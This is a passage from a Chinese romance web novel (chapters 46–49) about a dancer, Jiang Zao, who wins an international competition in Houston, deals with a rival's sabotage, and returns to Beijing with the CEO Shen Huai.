古纳瑟丽凑过去,没看一会,眉头蹙了起来:“她胆子这么大?”她上下仔细打量姜早,松了口气,“你没事就好。”
姜早道:“我想把这个视频直接交给组委会。”
“我不建议你这么干。”古纳瑟丽摇头,从她手里拿过手机,传送视频,传送过程中认真道,“她是个生面孔,我查过她,是投资方的女儿,从来没比赛得奖记录,是靠关系进来的。”
姜早神色没太大变化,这与她之前猜想的差不多。
她伸手要拿回手机,古纳瑟丽没给她,而是轻挑眉。
“寻求公平没错,但要找对人,找投资方肯定不行。”她勾唇,眼中露出一点狡黠和兴奋,“不过,我想到了一个好玩的方法。”
姜早疑惑:“什么?”
古纳瑟丽神秘莫测的伸出一根食指,竖起来晃了晃:“到时候你就知道。”
楼下
阴雨绵绵,风吹着树,树叶微摆,摇晃着落下,在地上泛起涟漪。
远近只有一辆车停在那里,格外明显。
半敞开的窗,男人拿起手机拨通电话。
国内还是白天,陆特助在办公室看着监控翘着腿,刚给向北辰递出一个文件,手里就响起了电话。
“喂,沈总。”
陆特助感觉到身边人的停顿,防备的看了一眼,挥了两下手示意他可以走了,然后侧身,盖住听筒放低了声音。
“嗯。”沈淮说。
陆特助听着对面的气氛不对,心里有种不安的感觉,换了只手拿手机,试探道:“怎么了沈总?”
电话那边静了好久。
陆特助攥着手机的手都出汗了。
最近沈总设的局在最后收网,很难不联想到是收网的过程中出现了什么问题,网住的这些公司都不是小公司,万一提前知道了风声一起做对抗,沈氏确实会陷入危机。
他想的深,这么片刻,甚至已经想到了要和公司共存亡。
电话那头静了好久才叹气:“算了。”
陆特助没明白这突然的叹气声,小心翼翼道:“什么算了?”
“没事。”沈淮顿了顿,闭上眼睛静默了一会儿,问:“那边怎么样了?”
陆特助知道他在说什么,汇报道:“状况和我们预想的差不多。”
他顿了顿,接着道,“就是老爷子那边不太开心,一直想让我联系到你,你那边一直不接他的电话,他很生气,对我们的计划也无意中形成了不好的影响。”
对面许久未出声,陆特助只好主动道:“收网快要收完了,到最后节点,您还是出个面吧,否则老爷那边恐怕会是个变数。”
他能感觉到沈总现在将夫人的位置看的比公司还重。可他作为公司的总助,是靠近总裁最近的人,有义务提醒沈总,紧要关头,得分清先后。
“知道了,我会亲自和他解释的。”沈淮问:“最后收网还有多久。”
“三天。”陆特助担忧道,“沈总,我本来今晚就要给你打电话的,老爷子最近来公司变得频繁了,我怕...”
“知道了。”沈淮静了静,接道,“我会回来的。”
挂断了电话,车里静默了许久,棒棒糖的糖纸被包好放到口袋里,复又拿出来折了一只纸飞机放到座位上。
甜味在嘴里散开,他侧眸望着旁边那栋楼,那扇窗还亮着灯。
她会在做什么呢。
等到糖在嘴里化完,拿起手机,点开通讯录,良久后按下了短信。
他发:公司有事,我要回国一趟。
信息发送过去,又出现了一个红色的感叹号。
车里传出了轻轻的叹气声,很轻,比外面的雨还要轻一些。
...
后来的日子过的还算平静,江玉自从上次找麻烦没有成功之后,似乎也有了一些忌惮,背地里也不再做一些小动作,安生了。
古纳瑟丽手里拿到视频后一直没有动作,神神秘秘的。
沈淮没有出现在她面前了。
她也能理解,他的时间一向金贵,怎么可能一直在这里陪她耗着。
顶尖计划第二阶段封闭式培训的日子,是极其枯燥和单调的,没有任何活动,所有人从早到晚都需要呆在训练馆。
上下午都是学习新的组合动作,晚上是每个人去消化白天那些动作的时间。
如果晚上没有消化好,第二天的动作,就会面临一个跟不上的问题。
全系统培训的动作,大多具有创新性,与自身融合其实很难。
次日,所有人跳前一天的组合,对细节的处理都是不同的,重拍的落点,肢体卡顿的处理,动作流畅和干净度都各有不同。
老师会在所有人跳完后,点评每个人的动作,或是犀利的数落或是肯定和表扬。
评价在封闭式训练中都很影响人的情绪。
所有的这一切都化成一种无形的压力,笼罩在这几栋训练楼里。
姜早在这段时间里,每天起早贪黑的训练,每天最后一个离开训练馆,晚上也是最晚熄灯,身形消瘦了不少,连同宿舍的古纳瑟丽都看不下去了,让她多注意休息,劳逸结合。
姜早嘴上答应,还是起早贪黑的训练,每天被汗水浸透着回到宿舍。
古纳瑟丽说她有野心。
她点头应下。
在她看来,野心从来不是贬义词,古纳瑟丽口中说的野心,也是对她的赞许和肯定。
这是一场比赛,比的就是谁更努力更拼命,没有什么成就是可以不费吹灰之力得到的。
野心,从来就是比赛的标配。
不去争取,别人就看不到她。
培训的最后一晚,所有人都不敢回去,呆在训练馆反复磨动作,整合自己的创编,一刻不停的反复融合。
凌晨几分的时候,大多数人都回去了,只剩下稀稀拉拉的十几个人了。
又过了一个小时,就只剩下三个人了。
其中一人也熬不住了,从地上爬起来,用毛巾在脸上抹了一把,侧头看旁边还在练习的两个人:“还不回去吗?两位同学?”
另外一人练完最后一个动作,气喘吁吁的将毛巾垮在肩膀上:“走,我和你一起回去,太困了实在是。”
早就眼皮子打架了,如果不是明天要比赛,谁熬夜练动作。
姜早正在把杆上压旁腿,闻言侧头道:“我还要练一会,你们先回去吧。”
两人对看一眼,无奈的摇摇头,转身离开。
她们对这个人早有耳闻,一开始是因为宿舍里传出来的不好的新闻,说这个叫姜早的人是靠关系拿到比赛名额的,可眼见为实,大家都见识到了她第一阶段展示时的实力,几乎没有人再相信那个传言,对姜早更多的是钦佩。
场馆又恢复到只有她一个人。
安安静静的。
姜早侧腰往下压,将左半边腰靠在大腿上,闭上眼睛,脑海中不断回想方才创编的那些动作。
舞蹈的创编,纯技巧展示和融合情感的故事性展示兼顾是非常难的。
她方才反复磨炼的那一版,总觉得太过普通了,没有亮点,没有起伏。
一个成功的表演,最需要的亮点,要让看的人觉得眼前一亮。
她半跪在地上望着舞蹈镜里的自己,不知觉中仿佛看到了多年前第一次参加比赛的自己。
那时候的自己,懵懂无知,自傲的以为自己是那万里挑一。
后来知道,世
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界之外还有另外的世界,万里挑一也变成了其中之一。
她觉得第一次参加比赛的自己愚蠢。
可回想第一次参加比赛的自己,那时候的心境,确实是对舞蹈纯粹的喜欢。
后来的后来,沾染了胜负欲和功利心,一切都变得不同了。
就连一次失败,也可以让她萎靡不振,退缩对舞蹈的喜欢。
回忆复苏时,她回想起当初第一次比赛跳的舞,情不自禁的跳了出来。
不过绷直的脚背,不够流畅的线条,不够优美的胸腰以及不能配合好动作的吐气吸气。
一切看起来都不是那么完美。
可那一支舞,是她不经系统培训,最有灵性和创造性的一支舞,沉浸在其中时,甚至可以创造一个短时间属于自己的乌托邦。
有一台相机默默的对准了她,但她没有察觉。
打着哈欠路过的执行导演看到那个纪录片的摄像,拍了拍他的肩膀问道:“不是说来这里寻找素材吗,你一直拍一个人做什么?”
“她就是我的素材。”那摄像笑道。
执行导演有些惊讶:“你不是一直拍群像的吗?怎么这次转拍个人传了。”
摄像看着摄像里的画满,欣赏的笑了笑,语气却是故意抱怨:“国内有个朋友,非要我拍这个人,我也没办法。”
“得了吧。”执行导演否决道,“以你在休斯顿的名号,会花这么多时间只录一个小姑娘,肯定不止是受人之托一个用意吧,我可是看到你每天晚上都过来录呢。”
乔伊是摄像师圈内著名的纪录片大导,手里的几个纪录片都享誉国际,十分有名,几乎已经不出山了。当他向导演组发来邮件,说要来比赛收集素材的时候,大家都很惊讶,还怀疑是假的乔伊,没想到见到面发现真的是本人。
乔伊来顶尖计划的拍摄是自由的,因为如果命令他,肯定要被他收取高昂的费用了,这一点大家心里心照不宣。
只要他的纪录片有关于顶尖计划,无论拍摄的是群体和个人,都能让顶尖计划更加有名,这是毫无疑问对制作组有益的,所以他们很少管乔伊。
乔伊闻言,看着那道身影,笑而不语。
执行导演看了一眼手表,已经快凌晨两点了,他打了个哈欠,道:“好心提醒你一句,我们资方对这个人不太满意,如果你要出她的个传,播出可能会遇到一些困难。”
乔伊哦了一声,耸肩:“没关系,我无所谓。”他行走江湖这么多年,靠的是技术,又不是投资。
在这个社会上,只有为自己提供必要资源的人,值得自己恐惧。
值得他忌惮的只有家里那二老,其余的那些人,就算在社会上拥有再多资源,他不需要那些资源,在他心里就毛都算不上。
执行导演赞许的点了点头,拍了拍他的肩膀;“我看好你。”
说完,扬长而去。
乔伊看着取景框里还在不断重复动作的女人,眉眼中的赞许更甚。
舞蹈可以复刻,但天赋和品质不会。
这就是他要找的下一个纪录片主角。
摄影机在暗处,姜早没有察觉,又跳了一个小时,渐渐完成了一整支舞蹈的创编,手机四点的闹钟响起。
这是她为了比赛设置的安全区睡眠时间,如果睡眠没有五个小时,比赛上的状态将大打折扣。
闹钟响起,是必须要睡了。
她做完最后一个动作,拿起毛巾,关了灯走出教室。
深夜的微风刮在脸上,凉意缓解了她身上的燥热。
其实每天这样回去,她都很充实,很有安全感。
她从来不相信一飞冲天的成功,那样的成功从来只属于一小部分人,还带有一定侥幸。
她对成功从来没有侥幸心理。
成功,本来就是一步一个脚印,踏踏实实走出来的。
艺术的殿堂充满天才,想要成为天才中的天才,需要比别人付出更多的努力才行。
47. 第 47 章
夜幕悄然落下,星光散漫天际,烟花在空中划破天际,炸出艳丽的火火花,顶尖计划最后的比赛开始。
这场强者的盛宴上,今夜必是腥风血雨。
在如同宫殿的古典舞台上,一道身影如同轻盈的蝴蝶,缓步走入舞池。
聚光灯落下,她的出现,仿佛星空中最亮的星,夺去了所有人的目光。
姜早慢慢抬眸,轻颤的睫毛慢慢扫向台下,美的惊人。
掌声顿时安静下来。
这便是风靡全国,席卷多个娱乐版面的古典舞美人。
比起网上看到的,现实中看到更是让人惊艳。
音乐声慢慢响起,她如同盛开的白莲,纯净不可侵犯,每一个停顿的眼神和抬手,仿佛在诉说一个久远的故事,让人不知觉沉醉其中。
直到音乐结束,聚光灯熄灭,很多人都意犹未尽,沉浸在那情绪中,无法自拔。
毋庸置疑的。
下了台的姜早接过古纳瑟丽的水:“谢谢。”
因为最后的投票是其他几个专家投,没古娜瑟丽什么事,她呆在下台的地方,没什么事干,好不容易看到一个熟人,便抓住姜早接着聊天:“紧张吗?”
“还好。”姜早往嘴里倒了一口水,然后拧好瓶盖,站在旁边拉伸腿。事实上,上台前的很长一段时间她都很紧张,直到聚光灯落下,心便静下来了。
情绪没有出错,状态也很好,她享受这个过程,甚至忘了去紧张。
音箱已经在放下一首音乐,听着一首韵律快的音乐,很好听。
不过有一块绿布挡在舞台和离场通道上,看不到那边的表演者表演的怎么样。
姜早想离开,绕到观众席去看看其他几个表演者的表演。
毕竟,她们从未看过对方的决赛创编。
在这种顶尖比赛上,谁都是拿出最高的本领去比赛,一定是一场视觉盛宴,她很想去欣赏一会儿。
“哎,别走呀,姜早。”古纳瑟丽见她要走,喊住她,“陪我玩会儿,反正比赛也有回放。”
姜早犹豫了一下,虽然比赛有回放,但是人人都想看现场。看视频是看不到现场那般惊艳的,何况她就在现场。
古纳瑟丽见她站在原地,神情纠结,朝她勾了勾手指道:“跟你说个八卦要不要听?”
正好音箱的音乐放到了一段高潮音乐,台下响起一声惊呼。
姜早眼珠子直勾勾的朝古纳瑟丽看着,想走的心溢于言表。
“关于江玉。”古纳瑟丽道。
姜早思绪被扯了回来,印象中这两天,江玉确实不见了,前天的点评,江玉也不在,不过因为大赛在即,她并没有在这件事上多追究。
“江玉怎么了?”她问。
古纳瑟丽狡黠的笑了笑:“她退出比赛了。”
姜早微怔,反问道:“退赛了?”她经常能看到江玉望着镜子野心勃勃的眼神,虽然舞感没有其他人好,但是够刻苦也有野心,绝对不像在最后阶段会退赛的人。
“是她父亲,亲自到组委会提出退赛申请的。”古纳瑟丽回想起当初那个画面,那个压迫感极其强的脸,不禁发憷,一种恐怖资本家的味道,她感慨了一会,接着道,“多亏了你给的那个视频。”
姜早迟疑了一下:“你给他爸看了?”
“也不算是我”古纳瑟丽架着二郎腿,“我有个娱记的朋友,我借她的公号,给她爸发了那个视频。”
姜早哑然,说不出是什么滋味。
古纳瑟丽看着她的表情,错愕道:“你这什么表情,不会怜惜了吧?”
“没有。”姜早否认,她只是不知道该用怎么样的情绪面对这件事,毕竟对于江玉,她更多的是摸不着头脑。
明明不认识,毫无干系。
不知道为什么她会恨她,甚至害她。
但她现在,也算是报复回来了吧。
两清了。
“可别对她愧疚什么的,她先害你的。”古纳瑟丽手搭在椅子上,懒散道,“何况,我也没威胁他们说退赛,除了发这个视频之外,我什么都没说。”
姜早点点头,帮她桌上散乱的零食理好,“无论如何,谢谢你帮我。”她的皓腕捏起茶壶,倒了一杯茶,递过去,“中国礼仪,多谢。”
她嘴角轻勾,甜甜的笑,露出两颗虎牙。
那是古纳瑟丽少见的明媚。
她接过那杯茶,少有的煽情:“拿了冠军之后,还会来休斯顿吗?”
“强者如云,冠军不一定是我。”姜早眉眼含笑,虽然故意停顿了一会儿后,才笑道,“如果我不是冠军,明年我一定要抢回来。”
“怎么办。”古纳瑟丽捧着那杯茶,看着摇晃的茶面,宛如波涛,她轻轻抬眸,伤感被压下,转而变成了几分打趣,“突然不想让你夺冠了,我要黑幕别人!”
“那不行,该是我的,必须是我的。”姜早眨巴了两下眼睛,闪闪亮的。
离场通道里响起一阵笑声,好久之后才停下。
古纳瑟丽虽然已经快三十,撒起娇来还是格外有趣,她咬牙切齿道:“你必须来看我。”
姜早点点头,不再玩笑,认真且陈恳道:“如果拿了冠军,明年我回来卫冕;如果没拿到,明年我还会来挑战。放心,老师,我会回来看你的。”
古纳瑟丽爱惜的看着她,宛如在看珍珠和宝贝。
她能感受自己难以压下的爱惜之情。
在她看来,姜早值得她这样的爱惜。
一个野心勃勃,努力认真,谦虚好学的人,浑身都闪着光。
为人师者,普度众生是菩萨。她做不到,人都有心,欣赏谁,便会偏爱谁。
古纳瑟丽捧住她的手,爱惜的揉了揉:“顶尖计划一年一次,实在是太久了,我如果闲下来,也会去看你的,对了,你的家乡在哪?”
“京城。”姜早念道。
古纳瑟丽复述了一遍这个名字,一字一句,很清晰:“京,城,我记住了!”
音乐声终止,聚光灯落在舞台上,主持人在台上发表着讲话,大屏幕最后停留在JiangZao的名字上。
寂静的夜晚,姜早的名字被各个记者争相报道,抢占各大版面。
姜早,顶尖计划终赛的冠军。
与此同时。
休斯顿的一栋别墅里,江玉直勾勾的看着手机屏幕上最后留下的名字,庆祝的烟花在那人的头顶绽开
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的时候,她将手机摔在地上,彻底砸碎。
房间静了下来。
“凭什么!”她腥红着眼睛,站起来房间来回走着,“又是你!姜早!又是你!”
从出生起,她就被父母安排好了路线,在高压的环境下长大。
别人都说,她很喜欢读书,是个书呆子,但其实她想学跳舞,十六岁那年,这个小小的请求终于得到了父母的允许,但相对的,父母让她在第一年就做出成绩,否则就认定她没有这方面的天赋,停了她的舞蹈班。
她知道自己就是个普通人,怎么可能在第一年就能在这个陌生领域做出成绩。
她对自己没有信心,便耍了一些小聪明,报了一个地级的舞蹈比赛,还买通了几个优秀的选手。
这样的筹划,刚好能拿到前十,她拿捏的刚刚好。
第一次比赛,她不可能拿到太好的成绩,但也不会吊车尾。
成绩太好肯定会让家里起疑。
但前十,刚刚好。
那时,她信心在握,却不想,这次比赛出现了一个新人,叫做姜早。
姜早横空出世在舞蹈圈开始有名气的那天,也是她被父母停掉舞蹈班的那天。
她仍然记得,当时她拿着第十一名的成绩,哭着想接着上舞蹈课,被妈妈以无理取闹和浪费时间两个理由扇了一巴掌。
这么多年过去,她因为学业有成,父母放宽了对她的约束。
这么多年躲在房间里的努力,总算可以见光,再次逐梦。
她通过休斯顿内的商业赛拿到了顶尖计划的比赛名额。
竟然!竟然又碰到了姜早!
她从未释怀!这个人竟然还敢在她面前出现!
她走到花瓶前停下来,抓起花瓶砸在地上,不够还不够解气!
她推翻了房间所有的摆设,玻璃瓷碗碎了一地,整个房间凌乱不堪。
门外传来一阵轻轻的敲门声。
江玉停下来,理了理衣服对着门口道:“进。”
保姆推门进来,看着满地狼藉,问道:“这是怎么了,小姐?”
江玉仿佛什么都没有发生过一般,在狼藉中坐回了椅子,拿起桌上的字帖,开始练字,闻言扫了她一眼:“刚刚不小心摔倒了,碰碎了好多东西,麻烦您帮我清理干净。”
保姆看了一圈周围。
这些...真的都是摔倒撞碎的么...
“小姐,今天您父亲回来了,还带回来了一个女人,让你去楼下认一认。”保姆如实说出此行的目的。
“女人。”江玉刚落下的笔,被压断,她腥红的眼睛抬起:“我爸又带什么女人回来了。”
触及到那道目光里的寒气,保姆有些后背泛凉,避开目光低头道:“听说...是外面的私生女。”
江玉将手里的纸撕烂,然后淡定的理了理衣服,甜甜的笑了:“我知道了,我下去看看,是姐姐还是妹妹,这还是第一次呢。”
...
楼下,女人单手搭在沙发上,慵懒的看着楼梯上下来的人,“你好,我叫格桑,格桑花的格桑。”她看着那人眼神中难以掩藏的恨意,挑眉,清晰而又认真的,一字一句道,“你的,姐姐。”
48. 第 48 章
候机室里,人来人往,匆匆碌碌。
姜早坐在候机厅里,静静地想着,既然拿了第一,应该和朋友聚个会吧。
大多数人,应该都这样。
她拿起手机,发给了木奈奈。
木奈奈回了个语音过来。
里面的声音先是高兴:“早早!我这边新闻有点延迟!刚看到你拿了第一!恭喜!太骄傲了!我能做大舞者的朋友!”随之,是一点点抱歉的声音,“这两天我找了个实习单位,明天可能请不出假,周末一起吃可以嘛?”
姜早在键盘上轻轻敲了个好。
她犹豫了一会儿,发信息给了向北辰。
向北辰回了个电话过来,絮絮叨叨夸了好久。在听到向北辰要为了陪她吃饭翘班的时候,姜早赶紧借口临时有事,挂了电话。
因为自己的事,打扰了别人,终究是不好。
她在手机上戳了一会,滑到了爸爸妈妈的群聊里。
她望着窗外白昼,国内国外有时差,国内也许是晚上吧。爸妈一向睡得早,还是不打扰了。
离登机还有一个小时,她轻轻合上眼,在这种自由的时间中,没有集训任务的压迫,合眼总算没有了愧疚感。
来休斯顿时,身无分文,满身狼狈。
要离开了,带着荣誉,还有奖金。
挺好,值了。
不知过了多久,她感受到身前有道黑影。
候机场人很多,她只以为是路人路过或驻足看信息,没有睁眼,也没有多想。
“哥哥,你一直站在这个姐姐面前做什么?”一道小奶音道。
“先生,不好意思,小朋友不太懂事。”妇女的声音紧接着响起。
闭着眼的姜早,微微蹙眉,许是这道声音太近,让她不禁想到了自己。
“没事。”那道声音很轻,顺着风轻轻送过来。
姜早睫毛轻颤,慢慢睁开眼睛。
那道声音,她怎么会不熟悉。
沈淮。
他穿着一个棕色长风衣,与她的这一身很搭。
见她醒了,他低头将手里捧了好久的花递过去:“恭喜。”
她猝不及防撞入那道黑眸里,看着眸中倒映出清晰的自己。
周遭的声音很多很杂。
可他们仿佛静止在了这一刻,周遭所有的声音都消失了。
见她好久不反应,沈淮抓起她的手,掌心微热,没有用力,将手里的玫瑰送到她怀里,等她捧好了,才收回手。
姜早微怔,她从来没有收到过花,望着手里的红玫瑰,美的不似自然物,真的很漂亮:“其实我不喜欢花。”
她这么说道。
她其实很反感当扫兴的人,但不知道为什么,在那个情景下,就是这么说了。
头顶的声音静了一会儿,道:“但庆祝,都要有花。”
确实,哪个伴随着恭喜的祝贺里,没有花的加入呢。
恰在此时,机场广播通知检票。
“谢谢。”姜早捧着花,正打算拿过行礼,刚要拽住,那杆子被另一个人拽住,拽到身侧。
姜早朝他疑惑的看过去。
“我帮你拿。”沈淮说。
姜早伸手要拽:“不用了。”
沈淮将行李箱往后退了退,避开她伸过来的手:“没事,就一段路。”
姜早知道争不过他,便任由他去了,反正走到登机口也没多久。
她看着沈淮也递出票,蹙眉疑惑道:“这么巧,你也是这班飞机?”
“嗯,是。”沈淮从安检的传送带上接过行李箱,没有直视她的目光。
走上飞机的时候,她突然感觉到自己走到哪里,沈淮就走到哪里。
她回过头,“你去找自己的座位吧,不用跟着我。”说完,就要从他手里接过行李箱。
没想到又被他避开。
迎着姜早疑惑的视线,他平静道:“没事,先帮你放上去。”
终于,放好了行礼。
她在椅子上坐下,就想说让他自己找位置。
结果,沈淮在她旁边坐下了,还认认真真扣好了安全带。
沈淮装模作样的把飞机票,放在小桌板上。
姜早远远看了一眼,还真是这个座位,便也不再多说什么了。
确实是巧。
跨国飞机要飞好几个小时,她闭上眼,没再多想,不多久就要入睡。
迷迷糊糊中,似乎听到了有人在说话。
想要睁开眼睛,旁边那声突然便轻了,她侧躺了些,又睡了过去。
沈淮侧头看她又睡着了,才轻声开口:“不用了。”
“先生,是对头等舱有什么不满意的地方吗?”乘务人员犯难道。
“没有。”沈淮说。
“那这边可以给你免费升舱,真的不需要吗?”乘务人员道。
沈淮理了理身边人的碎发,说:“嗯,不用了。”
乘务人员的视线在两人之间转了转,很快就懂了什么,掉头走开了。
飞机一路平稳,跨国终究是要飞好久好久的,机舱里很安静,大多数都睡了过去。
窗外的天也变成了夜晚。
云端往下望万千灯火,璀璨如倒挂的繁星。
姜早迷迷糊糊着醒来,不知什么时候,身上盖了一条蓝色的毛毯。
她从毛毯下拿出手,感受到了冷空气窜上来,这才感觉到机舱里的冷。
她扫了一圈,应该是乘务人员拿过来的,机舱内好多人都有。
她低头,理了理身上的毛毯,不让冷空气蹿到身上。这毛毯不小,摊开发现,有两个椅子那么长。
姜早侧眸,旁边人呼吸均匀,闭着眼睛,应该已经睡着了。
沈淮穿的衣服其实不多。
她睨了一眼盖毯。
反正是乘务人员给的,到时候要是问起来,就说乘务人员放的。
她尽量动作小的伸手过去,将盖毯略过他肩膀,许是因为衣服太滑挂不住,盖毯滑落到了他的膝盖上。
姜早欠身,拉起盖毯,手指尖无意中划过他的手,突然,被反手握住。
盖毯滑落到了膝盖上。
姜早看他,闭着眼,明明没有醒。
她低头睨着那只手,一寸一寸的从他手掌中,往后退。
正当她要全身而退时,那指尖又缠了上来。
姜早怔住,没有动作,看他时,闭着眼,明明仍旧睡着。
也许是下意识的动作,她这么想。
她接着往回抽手,直到最后一个指关节要撤走时,那只手微不可查的动了动。
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她抬眸,睨这那双闭上的眼睛。
停留了许久,才一寸一寸的抽回最后的指尖。
她望着窗外的夜色,从高往低处看的城市,真的很好看,从未见过如此好看的风景。
目光又控制不住的挪到沈淮脸上。
也只有沈淮睡着了,她才会这样肆无忌惮盯着。
不知多久后,她靠着座椅,闭上眸子又睡了过去。
听着耳畔均匀的呼吸,沈淮慢慢睁开眼睛。
他的眸子落在身侧的人身上,好久都未动一下。
摇摇欲坠的头马上就要跌到机舱壁上,他伸手揽过,放到肩上。
空乘路过。
他轻声问:“有靠枕吗?”
……
飞机落地是北京时间十点。
打开流量后,很多消息弹出来。
姜早看到了爸妈发来的语音,说在新闻上看到她的脸了,让她继续努力。
还看到了工作群里的消息,一个网名叫sh的家长,在群里发了个恭喜姜老师,下面的家长紧跟着接龙,老板也给她发了一个大红包。
姜早盯着那个网名。
sh…
还是黑白头像。
她侧头,看了一眼正在收拾行李的沈淮。
应该不是吧,认识他这么久,好像从来没见过他用微信。
十分钟后,下了飞机,姜早看着那只行李箱,朝他伸手。
沈淮攥着行李箱的手紧了紧,没动。
姜早想起自己的很多东西都还在他家,道:“那我跟你回去,顺便收拾一下东西。”
沈淮指着旁边的西餐厅:“饿不饿,要不要去吃饭。”
姜早蹙眉,神色不满。
沈淮收回手,垂下眉眼:“不满意么…可以换一家。”
就在姜早以为,他们又要像从前那般僵持时,身后出现两道声音,喊着他们的名字。
“姜姜老师!”
“姜早~”
小苹果扑到她腿上,小孩的劲不小,她往后跌了跌,好在身后有只手虚扶了一下,才不至于摔倒。
她看了一眼沈淮,本来想句谢谢,但在苹果妈妈和苹果面前这么说,就怪怪的,到时候就要暴露他们吵架了。
想了想,还是没说话。
扭过头,揽住小苹果的腰,将她抱起来:“好久不见,苹果。”
她抬头,看着苹果妈妈:“也好久不见,阿姨。”
苹果妈妈脸色微皱:“哎?不是应该叫妈了嘛?以后得习惯啊!”
姜早有些窘迫,但好似旁边那人有意不参合,一直没出声。
姜早只得道:“好久不见,妈。”
“这才对。”苹果妈妈满意的点点头,“走吧,一起回家,妈给你做点家常菜,庆祝你这次比赛顺利。”
姜早只得跟着她们一起回家里。
车一路开进了市区姜早才发现不对,去的方向不是小苹果家,而是变成了沈淮的家。
“去沈淮那吗?”姜早朝旁边的苹果妈妈问。
“是啊。”苹果妈妈点点头,从镜子里看到了那人不时飘过来的目光,“之前你们两个不在,我和苹果一直帮着照顾家里的小猫咪呢,现在有感情了,不太舍得走了,最近都会住那里,不会影响你们吧?”
49. 第 49 章
刚回国的这两天,姜早很忙。
除了要接受校园的一些访谈外,还有接受文化馆的一些采访。
机构那里也有很多新生家长,慕名而来报名,为此开了很多新班,每天都要上课上到很晚。
所有一切忙完,基本上已经是十点多了。
成绩给她带来的忙碌,是会有成就感的,无论在做什么,她都乐在其中。
忙完最后一节课,看了一眼时间,九点半。
她坐在椅子上,换好舞蹈鞋。
沈淮已经领着小苹果站在门口了。
新招来的同事还没男朋友,坐在前台的时候,时常会留意到沈淮,那样的人,几乎没有一个人会不去注意。
“姜老师,这是你们班小苹果的哥哥吗?有没有女朋友啊?”
姜早默默正低头系着鞋带,闻言头也没抬。
“不太清楚。”
新来的同事,她还不想同事关系不和谐。
“啊~好吧,哎?”突然那道声音静下来。
姜早看着地上的影子,抬头。
沈淮牵着小苹果站在她面前。
“小苹果想吃冰淇淋。”他声音淡淡的,顿了一下才接道,“你要不要。”
姜早想着装不认识,可周围没有别人了,只好轻声道:“不要。”
“嗯,等你好了,一起去买。”沈淮说。
姜早睨了一眼隔壁目瞪口呆的同事,尴尬的收回目光。
为了避免被人发现这件事,其实她这两天下课后有意慢一些,等人散的差不多了再走出去。
终究还是没能逃过。
苹果她们最近都住家里,还把送苹果的这项任务给了沈淮,其实无论怎么藏,后面都是会被发现的,只不过是时间问题。
想明白这些,她释然了一些。
老板拿着一个抹布,不知道从哪里走了出来,东擦擦西擦擦,眼神不自觉往这边偷瞄。
姜早睨了一眼,心中轻叹了口气。
“走吧。”她说。
沈淮自然地拿过她放在椅子上的背包,跟在她身后离开。
老板手上的动作停了下来,望着空荡荡的门口,精明的眼神亮了又亮。
“原来如此,难怪。”
难怪苹果妈妈砸了这么多钱在姜老师的私教上。
那么说,上次看到姜老师坐在一辆豪车上,真的没有看错。
他当初隐隐有所猜测,但还不敢妄下断言。
新同事闻言,道:“老板,你早就知道姜老师有男朋友吗?”
老板握拳掩唇,咳了两声,继续擦桌子:“这个啊,当然知道。”
新同事走到门口,望着那一双背影,眼中惊艳。
她默默地打开手机,发给几个富二代消息:放弃吧,你们女神有对象了。
群顿时就炸了。
新同事举起手机,对着那道快消失的背影,咔嚓拍了一下,发到群里。
群顿时就安静了。
新同事打字飞快:人家对象气场甩了你们几条街,一看就是精英中的精英,放弃吧,一群只有钱的二百五!
正打算关手机,屏幕上出现一条信息提示,点进去,是财经新闻发布信息,三家头部企业宣布破产,七家关闭分公司传出逃税传闻。
与此同时,沈氏集团在上海开辟分公司,主以创新科技为主的新赛道,分公司剪裁,沈氏集团从未出面过的新任总裁出席剪彩仪式,沈氏股价飙升。
“陶老师,看到什么了,这个表情。”老板耐心的将抹布折起来,四四方方的放好。
陶老师捂着嘴巴,一时说不出话。
老板见状,狐疑的走过去,看到手机里的内容,他瞳孔微缩,捂住嘴巴。
第二天,姜早来到单位,陶老师神秘兮兮的问:“姜姜老师,苹果是你们孩子吗?”
姜早正喝着水,差点喷出来,抽了纸巾擦了擦嘴才道:“当然不是,你应该见过苹果的妈妈吧。”
陶老师是代课老师转正的,印象中,她去休斯顿的那段时间,就是陶老师帮她的班代课,肯定能看到苹果妈妈的。
“我以为是你们的障眼法。”陶老师幽幽道。
显然她在说这句话的时候,以为姜早还在骗她。
姜早哭笑不得,不知道她为什么会有这种误会,便道:“我和苹果像吗?”
陶老师仔细打量了一会儿,道:“不太像。”
姜早摘下球鞋,换上舞蹈鞋:“那不就好了。”
陶老师道:“但苹果哥哥和她挺像的。”
姜早仰头:“你都说了,是他哥哥了,当然像了。”
“好吧。”陶老师有点被她说服了,她躺在椅子上,神情有些疲惫,“上班真难。”
姜早换好鞋,看到她神色,想起她是应届的毕业生,便开解道:“外面的职场比我们这里复杂很多,我们只要面对小朋友就好了,想开点。”
陶老师手扶着脸,眼神茫然道:“不,还有学生家长。”
姜早明显感觉到她有心事,便问:“怎么了?”
“新生刚开始学习舞蹈,练胯很正常,我也没上手压,只是帮孩子摆了一下动作。”陶老师双手痛苦的捂脸,接着道,“你猜怎么着,明明活蹦乱跳着走出教室的,孩子回家说大腿疼,家长立马联系老板,让我付医药费去检查。”
对于一个刚毕业不久的大学生来说,没有什么比这更恐怖了。
“孩子软度不够,刚开始练胯是容易酸。”姜早看过一些科普和防范,对这些很了解。
很多家长练习跳舞之前都看过大量的负面案例,上了课,一听到孩子说疼,就会立马断定觉得自己是那百分之一。
“不知道。”陶老师扶额,生无可恋道,“反正我已经自己掏钱付检查费了,等报告吧,报告会还我清白。”
谁说闯社会简单,闯社会比想象中难多了。
老师是个体面的职业,踏入这个行业是来得到尊重的,而不是被指着鼻子骂的。
天塌了。
姜早拍了拍她的肩头:“机构孩子基本功薄弱,体验课你尽量给她们练一些静态的,不用耗费大量体力的,别用专业院校那一套。”
一个地方一个教法,这是她刚从事这一行学到的。
留下这句劝谏,她拿上鼓棒进了教室。
回国后慕名而来了很多学生,其中也不乏高段学生。
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>高段的学生年纪都在初高中,她们自主学习意愿强,大多都是往艺考方向发展的,这些孩子便可以用专业院校那一套。
她拽过大鼓,盘腿坐在地上,手里的鼓棒一敲就是好久。
教室里挥汗如雨,叫苦连天。
姜早模糊中看到了自己的从前,亦如她们那般,脆弱又坚强。
两个小时过后,外面传来刺耳又尖锐的女声,即使玻璃门隔着,都能听清那道声音。
姜早敲鼓的声音停下来:“上把杆,自己撕腿六十秒,如果我一会儿过来你们有人掉下来,所有人再加六十秒,听懂了没?”
底下人叫苦不迭,却也自觉去了把杆。
姜早看她们脚都架上把杆,才走出去。
门外很嘈杂。
